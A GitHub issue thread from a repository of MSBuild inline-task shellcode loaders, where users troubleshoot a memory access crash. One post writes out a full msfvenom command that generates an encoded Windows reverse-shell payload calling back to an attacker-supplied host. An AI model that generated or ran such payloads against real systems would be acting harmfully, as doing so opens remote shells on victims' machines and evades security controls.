3gstudent / msbuild-inline-task

184 stars 83 forks source link

executes shellcode.xml throwing System.AccessViolationException #2

Open notclement opened 2 years ago

notclement commented 2 years ago

Hi,

I am trying to get executes shellcode.xml to work on my system but I am running into System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt. error

I have tried the command with the /p:GenerateBuildInfoConfigFile=false flag as well

The command that I am using to run msbuild is MSBuild.exe file.csproj /p:GenerateBuildInfoConfigFile=false

image

My shellcode is generated with the following msfvenom command --> msfvenom -p windows/shell_reverse_tcp -a x86 lhost=<mylhost> lport=<mylport> --format csharp --bad-chars '\x20\x0a\xff' -e x86/shikata_ga_nai -i 10 -v innocentcode -o file.csproj

EDIT: Also tried it with executes x64 shellcode.xml and it gives me the same error message

image

Here is the addition of the msfvenom generated shellcode in executes x64 shellcode.xml

image

3gstudent commented 2 years ago

try msfvenom -p windows/shell_reverse_tcp -a x64 instead of x86

lllsondowlll commented 1 month ago

Same issue, even while keeping the shell code the same for x64 shellcode example. It won't build as is out of box with all protections turned off.